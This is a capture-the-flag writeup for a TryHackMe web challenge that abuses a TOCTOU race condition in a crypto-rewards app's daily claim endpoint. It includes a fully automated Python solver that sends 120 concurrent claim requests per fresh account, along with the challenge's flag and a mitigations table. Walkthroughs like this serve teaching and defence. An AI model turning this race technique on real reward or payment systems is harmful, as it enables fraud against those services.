Towel on the Sunbed — Writeup (How to Solve)
| Field | Value |
|---|---|
| Target | http://MACHINE_IP:3000 |
| Platform | TryHackMe — Hacker Holidays · The Byte Lotus Hotel |
| Category | Web · Business Logic · API Abuse |
| Difficulty | Medium |
| Flag | THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt} |
Skill path: daily-reward business logic → TOCTOU race condition (concurrent
claims) → reach "Whale" tier → open the Whale Vault.
The App
Ponzi Portfolio — a "crypto rewards" poolside app:
| Endpoint | Purpose |
|---|---|
POST /auth/register |
Create an account (JSON {username, password}) |
POST /auth/login |
Login, sets connect.sid session cookie |
GET /dashboard/api/me |
Balance, tier, canClaim, secondsUntilClaim, prices |
POST /claim |
Claim +50 PONZI staking reward |
GET /vault |
Whale Vault — returns the flag if balance >= 150
|
Rules learned from /js/dashboard.js:
const WHALE_THRESHOLD = 150; // PONZI needed to open the vault
- Every 24h (86 400 s) you may claim once → +50 PONZI.
- Reach 150 PONZI → "Whale" tier →
/vaultreturns the flag. - So legitimately you'd wait 3 days — the story is about a guest who was away from his sunbed for a minute and somehow "claimed three times over".
The Bug — TOCTOU Race Condition on /claim
The claim handler is an async check-then-act:
// conceptual server code
app.post('/claim', async (req, res) => {
const user = await db.findOne({ id: req.user.id }); // 1. read
if (Date.now() - user.lastClaimAt < 86_400_000)
return res.status(429).json({ error: 'Reward already claimed...' });
user.balance += 50; // 2. check
user.lastClaimAt = Date.now(); // 3. act
await db.update({ id: user.id }, user); // 4. write
...
});
Because findOne and update are async, a request that arrives between
the cooldown check and the database write still sees lastClaimAt unset —
i.e. canClaim is still true. Fire enough POST /claim requests at the
same moment and several of them slip through the gap and all credit +50.
The story hints match exactly:
- "claimed three times over while he wasn't looking" → 3 racing claims
- "between his request and the server's clock, there's a gap wide enough to walk a whale through" → the async gap
- "the clock is the only thing checking him" → the timestamp check is the whole defense
Exploit
1. Register + login (guest account)
s = requests.Session()
s.post(BASE + "/auth/register", json={"username": u, "password": "password123"})
s.post(BASE + "/auth/login", json={"username": u, "password": "password123"})
2. Fire many simultaneous claims — one per dedicated connection
The critical trick: give every thread its own keep-alive connection so all
requests reach the server at the same instant (a shared connection pool
serialises them and you only ever land 1 claim):
from requests.adapters import HTTPAdapter
adapter = HTTPAdapter(pool_connections=120, pool_maxsize=120)
s.mount("http://", adapter)
def claim(i):
return s.post(BASE + "/claim", timeout=20).json()
with ThreadPoolExecutor(max_workers=120) as ex:
results = list(ex.map(claim, range(120)))
Typical results (measured):
OK=11 bal=550 (11 claims landed in 0.27 s → whale in one shot)
OK=2 bal=100
OK=3 bal=150 → whale
If a round lands fewer than 3 claims, try again with a fresh account — the
window is small but the hit rate is high enough that a couple of rounds always
succeeds.
3. Open the vault
r = s.get(BASE + "/vault")
# {"message":"Welcome to the Whale Vault.","flag":"THM{...}","balance":150}
Fully automated solver
python solve_towel.py http://MACHINE_IP:3000
"""
Towel on the Sunbed (Byte Lotus Hotel) - FULLY AUTOMATIC SOLVER
Gets the flag with zero manual steps.
Target: http://MACHINE_IP:3000
Chain:
1. Register a fresh guest account
2. Login (session cookie)
3. Race N concurrent POST /claim requests (TOCTOU: all read
"canClaim=true" before any writes last_claim) -> +50 PONZI each
(each thread uses its own dedicated keep-alive connection so all
requests hit the server simultaneously)
4. If balance < 150 (Whale tier), try again with a new account
5. GET /vault -> flag
Flag: THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}
Usage: python solve_towel.py [http://IP:port]
"""
import sys
import re
import random
import requests
from concurrent.futures import ThreadPoolExecutor
from requests.adapters import HTTPAdapter
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://MACHINE_IP:3000").rstrip("/")
THREADS = 120 # concurrent claim requests per round
MAX_ROUNDS = 10 # fresh accounts until whale balance reached
WHALE_THRESHOLD = 150
FLAG_RE = re.compile(r"THM\{[^}]+\}")
def race_account():
"""Create an account and fire THREADS concurrent /claim requests."""
u = "w_" + str(random.randint(10**8, 10**9))
s = requests.Session()
s.post(BASE + "/auth/register", json={"username": u, "password": "password123"}, timeout=15)
s.post(BASE + "/auth/login", json={"username": u, "password": "password123"}, timeout=15)
adapter = HTTPAdapter(pool_connections=THREADS, pool_maxsize=THREADS)
s.mount("http://", adapter)
def claim(i):
try:
return s.post(BASE + "/claim", timeout=20).json()
except Exception:
return {}
with ThreadPoolExecutor(max_workers=THREADS) as ex:
results = list(ex.map(claim, range(THREADS)))
landed = sum(1 for r in results if "reward" in r)
me = s.get(BASE + "/dashboard/api/me", timeout=15).json()
return s, landed, me.get("balance", 0), u
def main():
print(f"[+] Targeting {BASE}")
print("[+] Racing /claim (TOCTOU: concurrent claims pass the cooldown check)")
for rnd in range(1, MAX_ROUNDS + 1):
s, landed, bal, u = race_account()
print(f"[+] round {rnd:02d}: {landed:3d} claims landed, balance={bal} PONZI", flush=True)
if bal >= WHALE_THRESHOLD:
print(f"[+] Whale tier reached (balance {bal} >= {WHALE_THRESHOLD})")
resp = s.get(BASE + "/vault", timeout=15)
m = FLAG_RE.search(resp.text)
flag = m.group(0) if m else "(not found)"
print("[+] FLAG:", flag)
print()
print("=" * 50)
print(" FLAG :", flag)
print("=" * 50)
return 0 if flag.startswith("THM{") else 1
print("[-] Could not reach whale balance after", MAX_ROUNDS, "rounds")
return 1
if __name__ == "__main__":
sys.exit(main())
Registers, races the claim, retries with fresh accounts until
balance >= 150, opens the vault, prints the flag:
[+] round 01: 2 claims landed, balance=100 PONZI
[+] round 02: 3 claims landed, balance=150 PONZI
[+] Whale tier reached (balance 150 >= 150)
[+] FLAG: THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}
Vulnerabilities (recap)
-
TOCTOU race condition in
/claim— the 24h cooldown check and the database write are separate async steps, so concurrent requests all pass the check and each credit +50 PONZI. - Business logic imbalance — reward (50) vs whale threshold (150) forces users to trust the cooldown; any bypass compounds to free money.
Mitigations
| Issue | Fix |
|---|---|
| TOCTOU on claim | Use an atomic conditional update (UPDATE ... WHERE last_claim_at <= now - 86400) or a database-level unique/version constraint; check-and-write in a single transaction |
| Double-crediting | Idempotency keys per (user, day) enforced by a unique index on (user_id, day)
|
| Rate abuse | Server-side idempotent claim (unique claim record per day), not just a wall-clock comparison |
Tools Used
- Python
requests+ThreadPoolExecutor— concurrent claim burst -
HTTPAdapter(pool_maxsize=N)— one dedicated keep-alive connection per thread for simultaneous arrival - Fresh-account rounds — repeat until the race lands ≥ 3 claims

Top comments (0)